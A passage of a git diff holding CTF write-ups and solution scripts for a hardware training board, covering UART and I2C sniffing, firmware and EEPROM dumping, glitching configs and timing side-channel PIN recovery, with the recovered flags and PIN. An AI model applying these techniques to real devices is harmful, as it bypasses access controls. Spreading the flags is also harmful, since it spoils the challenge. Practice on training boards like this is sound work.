+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
